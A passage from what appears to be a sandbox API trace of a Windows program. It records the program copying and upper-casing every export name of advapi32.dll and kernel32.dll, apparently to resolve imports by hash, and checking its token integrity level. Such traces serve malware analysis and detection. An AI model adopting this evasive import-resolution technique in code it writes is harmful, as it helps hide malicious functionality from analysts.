(lpString="CRYPTDECRYPT") returned 12 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptDeriveKey" | out: lpString1="CryptDeriveKey") returned="CryptDeriveKey" [0047.642] lstrlenA (lpString="CRYPTDERIVEKEY") returned 14 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptDestroyHash" | out: lpString1="CryptDestroyHash") returned="CryptDestroyHash" [0047.642] lstrlenA (lpString="CRYPTDESTROYHASH") returned 16 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptDestroyKey" | out: lpString1="CryptDestroyKey") returned="CryptDestroyKey" [0047.642] lstrlenA (lpString="CRYPTDESTROYKEY") returned 15 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptDuplicateHash" | out: lpString1="CryptDuplicateHash") returned="CryptDuplicateHash" [0047.642] lstrlenA (lpString="CRYPTDUPLICATEHASH") returned 18 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptDuplicateKey" | out: lpString1="CryptDuplicateKey") returned="CryptDuplicateKey" [0047.642] lstrlenA (lpString="CRYPTDUPLICATEKEY") returned 17 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptEncrypt" | out: lpString1="CryptEncrypt") returned="CryptEncrypt" [0047.642] lstrlenA (lpString="CRYPTENCRYPT") returned 12 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptEnumProviderTypesA" | out: lpString1="CryptEnumProviderTypesA") returned="CryptEnumProviderTypesA" [0047.642] lstrlenA (lpString="CRYPTENUMPROVIDERTYPESA") returned 23 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptEnumProviderTypesW" | out: lpString1="CryptEnumProviderTypesW") returned="CryptEnumProviderTypesW" [0047.642] lstrlenA (lpString="CRYPTENUMPROVIDERTYPESW") returned 23 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptEnumProvidersA" | out: lpString1="CryptEnumProvidersA") returned="CryptEnumProvidersA" [0047.642] lstrlenA (lpString="CRYPTENUMPROVIDERSA") returned 19 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptEnumProvidersW" | out: lpString1="CryptEnumProvidersW") returned="CryptEnumProvidersW" [0047.642] lstrlenA (lpString="CRYPTENUMPROVIDERSW") returned 19 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptExportKey" | out: lpString1="CryptExportKey") returned="CryptExportKey" [0047.643] lstrlenA (lpString="CRYPTEXPORTKEY") returned 14 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptGenKey" | out: lpString1="CryptGenKey") returned="CryptGenKey" [0047.643] lstrlenA (lpString="CRYPTGENKEY") returned 11 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptGenRandom" | out: lpString1="CryptGenRandom") returned="CryptGenRandom" [0047.643] lstrlenA (lpString="CRYPTGENRANDOM") returned 14 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptGetDefaultProviderA" | out: lpString1="CryptGetDefaultProviderA") returned="CryptGetDefaultProviderA" [0047.643] lstrlenA (lpString="CRYPTGETDEFAULTPROVIDERA") returned 24 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptGetDefaultProviderW" | out: lpString1="CryptGetDefaultProviderW") returned="CryptGetDefaultProviderW" [0047.643] lstrlenA (lpString="CRYPTGETDEFAULTPROVIDERW") returned 24 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptGetHashParam" | out: lpString1="CryptGetHashParam") returned="CryptGetHashParam" [0047.643] lstrlenA (lpString="CRYPTGETHASHPARAM") returned 17 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptGetKeyParam" | out: lpString1="CryptGetKeyParam") returned="CryptGetKeyParam" [0047.643] lstrlenA (lpString="CRYPTGETKEYPARAM") returned 16 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptGetProvParam" | out: lpString1="CryptGetProvParam") returned="CryptGetProvParam" [0047.643] lstrlenA (lpString="CRYPTGETPROVPARAM") returned 17 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptGetUserKey" | out: lpString1="CryptGetUserKey") returned="CryptGetUserKey" [0047.643] lstrlenA (lpString="CRYPTGETUSERKEY") returned 15 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptHashData" | out: lpString1="CryptHashData") returned="CryptHashData" [0047.643] lstrlenA (lpString="CRYPTHASHDATA") returned 13 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptHashSessionKey" | out: lpString1="CryptHashSessionKey") returned="CryptHashSessionKey" [0047.643] lstrlenA (lpString="CRYPTHASHSESSIONKEY") returned 19 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptImportKey" | out: lpString1="CryptImportKey") returned="CryptImportKey" [0047.643] lstrlenA (lpString="CRYPTIMPORTKEY") returned 14 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptReleaseContext" | out: lpString1="CryptReleaseContext") returned="CryptReleaseContext" [0047.643] lstrlenA (lpString="CRYPTRELEASECONTEXT") returned 19 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptSetHashParam" | out: lpString1="CryptSetHashParam") returned="CryptSetHashParam" [0047.643] lstrlenA (lpString="CRYPTSETHASHPARAM") returned 17 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptSetKeyParam" | out: lpString1="CryptSetKeyParam") returned="CryptSetKeyParam" [0047.643] lstrlenA (lpString="CRYPTSETKEYPARAM") returned 16 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptSetProvParam" | out: lpString1="CryptSetProvParam") returned="CryptSetProvParam" [0047.643] lstrlenA (lpString="CRYPTSETPROVPARAM") returned 17 [0047.643] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptSetProviderA" | out: lpString1="CryptSetProviderA") returned="CryptSetProviderA" [0047.644] lstrlenA (lpString="CRYPTSETPROVIDERA") returned 17 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptSetProviderExA" | out: lpString1="CryptSetProviderExA") returned="CryptSetProviderExA" [0047.644] lstrlenA (lpString="CRYPTSETPROVIDEREXA") returned 19 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptSetProviderExW" | out: lpString1="CryptSetProviderExW") returned="CryptSetProviderExW" [0047.644] lstrlenA (lpString="CRYPTSETPROVIDEREXW") returned 19 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptSetProviderW" | out: lpString1="CryptSetProviderW") returned="CryptSetProviderW" [0047.644] lstrlenA (lpString="CRYPTSETPROVIDERW") returned 17 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptSignHashA" | out: lpString1="CryptSignHashA") returned="CryptSignHashA" [0047.644] lstrlenA (lpString="CRYPTSIGNHASHA") returned 14 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptSignHashW" | out: lpString1="CryptSignHashW") returned="CryptSignHashW" [0047.644] lstrlenA (lpString="CRYPTSIGNHASHW") returned 14 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptVerifySignatureA" | out: lpString1="CryptVerifySignatureA") returned="CryptVerifySignatureA" [0047.644] lstrlenA (lpString="CRYPTVERIFYSIGNATUREA") returned 21 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptVerifySignatureW" | out: lpString1="CryptVerifySignatureW") returned="CryptVerifySignatureW" [0047.644] lstrlenA (lpString="CRYPTVERIFYSIGNATUREW") returned 21 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CveEventWrite" | out: lpString1="CveEventWrite") returned="CveEventWrite" [0047.644] lstrlenA (lpString="CVEEVENTWRITE") returned 13 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="DecryptFileA" | out: lpString1="DecryptFileA") returned="DecryptFileA" [0047.644] lstrlenA (lpString="DECRYPTFILEA") returned 12 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="DecryptFileW" | out: lpString1="DecryptFileW") returned="DecryptFileW" [0047.644] lstrlenA (lpString="DECRYPTFILEW") returned 12 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="DeleteAce" | out: lpString1="DeleteAce") returned="DeleteAce" [0047.644] lstrlenA (lpString="DELETEACE") returned 9 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="DeleteService" | out: lpString1="DeleteService") returned="DeleteService" [0047.644] lstrlenA (lpString="DELETESERVICE") returned 13 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="DeregisterEventSource" | out: lpString1="DeregisterEventSource") returned="DeregisterEventSource" [0047.644] lstrlenA (lpString="DEREGISTEREVENTSOURCE") returned 21 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="DestroyPrivateObjectSecurity" | out: lpString1="DestroyPrivateObjectSecurity") returned="DestroyPrivateObjectSecurity" [0047.644] lstrlenA (lpString="DESTROYPRIVATEOBJECTSECURITY") returned 28 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="DuplicateEncryptionInfoFile" | out: lpString1="DuplicateEncryptionInfoFile") returned="DuplicateEncryptionInfoFile" [0047.644] lstrlenA (lpString="DUPLICATEENCRYPTIONINFOFILE") returned 27 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="DuplicateToken" | out: lpString1="DuplicateToken") returned="DuplicateToken" [0047.644] lstrlenA (lpString="DUPLICATETOKEN") returned 14 [0047.644] lstrcpyA (in: lpString1=0x21fe40c, lpString2="DuplicateTokenEx" | out: lpString1="DuplicateTokenEx") returned="DuplicateTokenEx" [0047.645] lstrlenA (lpString="DUPLICATETOKENEX") returned 16 [0047.645] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ElfBackupEventLogFileA" | out: lpString1="ElfBackupEventLogFileA") returned="ElfBackupEventLogFileA" [0047.645] lstrlenA (lpString="ELFBACKUPEVENTLOGFILEA") returned 22 [0047.645] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ElfBackupEventLogFileW" | out: lpString1="ElfBackupEventLogFileW") returned="ElfBackupEventLogFileW" [0047.645] lstrlenA (lpString="ELFBACKUPEVENTLOGFILEW") returned 22 [0047.645] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ElfChangeNotify" | out: lpString1="ElfChangeNotify") returned="ElfChangeNotify" [0047.645] lstrlenA (lpString="ELFCHANGENOTIFY") returned 15 [0047.645] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ElfClearEventLogFileA" | out: lpString1="ElfClearEventLogFileA") returned="ElfClearEventLogFileA" [0047.645] lstrlenA (lpString="ELFCLEAREVENTLOGFILEA") returned 21 [0047.645] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ElfClearEventLogFileW" | out: lpString1="ElfClearEventLogFileW") returned="ElfClearEventLogFileW" [0047.645] lstrlenA (lpString="ELFCLEAREVENTLOGFILEW") returned 21 [0047.645] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ElfCloseEventLog" | out: lpString1="ElfCloseEventLog") returned="ElfCloseEventLog" [0047.645] lstrlenA (lpString="ELFCLOSEEVENTLOG") returned 16 [0047.645] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ElfDeregisterEventSource" | out: lpString1="ElfDeregisterEventSource") returned="ElfDeregisterEventSource" [0047.645] lstrlenA (lpString="ELFDEREGISTEREVENTSOURCE") returned 24 [0047.645] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ElfFlushEventLog" | out: lpString1="ElfFlushEventLog") returned="ElfFlushEventLog" [0047.645] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x21ff098 | out: TokenHandle=0x21ff098*=0x214) returned 1 [0047.645] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000 [0047.645] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x21ff09c | out: TokenInformation=0x0, ReturnLength=0x21ff09c) returned 0 [0047.645] GetLastError () returned 0x7a [0047.646] LocalAlloc (uFlags=0x0, uBytes=0x14) returned 0x679518 [0047.646] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000 [0047.646] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x19, TokenInformation=0x679518, TokenInformationLength=0x14, ReturnLength=0x21ff09c | out: TokenInformation=0x679518, ReturnLength=0x21ff09c) returned 1 [0047.646] GetSidSubAuthorityCount (pSid=0x679520*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x679521 [0047.646] GetSidSubAuthority (pSid=0x679520*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x679528 [0047.646] LocalFree (hMem=0x679518) returned 0x0 [0047.646] lstrlenA (lpString="kernel32.dll") returned 12 [0047.646] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.646] lstrcpyA (in: lpString1=0x21fe414, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0047.646] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0047.646] lstrcpyA (in: lpString1=0x21fe414, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0047.646] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0047.646] lstrcpyA (in: lpString1=0x21fe414, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0047.646] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0047.646] lstrcpyA (in: lpString1=0x21fe414, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0047.646] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0047.646] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0047.646] lstrlenA (lpString="ADDATOMA") returned 8 [0047.646] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0047.646] lstrlenA (lpString="ADDATOMW") returned 8 [0047.646] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0047.646] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0047.646] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0047.647] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0047.647] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0047.647] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0047.647] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0047.647] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0047.647] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0047.647] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0047.647] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0047.647] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0047.647] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0047.647] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0047.647] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0047.647] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0047.647] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0047.647] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0047.647] lstrcpyA (in: lpString1=0x21fe414, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0047.647] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0047.648] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0047.648] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0047.648] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0047.648] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0047.648] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0047.648] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0047.648] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0047.648] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0047.648] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0047.648] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0047.648] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0047.648] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0047.648] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0047.648] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0047.648] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0047.648] lstrlenA (lpString="BACKUPREAD") returned 10 [0047.648] lstrcpyA (in: lpString1=0x21fe414, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0047.649] lstrlenA (lpString="BACKUPSEEK") returned 10 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0047.649] lstrlenA (lpString="BACKUPWRITE") returned 11 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0047.649] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0047.649] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0047.649] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0047.649] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0047.649] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0047.649] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0047.649] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0047.649] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0047.649] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0047.649] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0047.649] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0047.649] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0047.649] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0047.649] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0047.649] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0047.649] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0047.650] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0047.650] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0047.650] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0047.650] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0047.650] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0047.650] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0047.650] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") 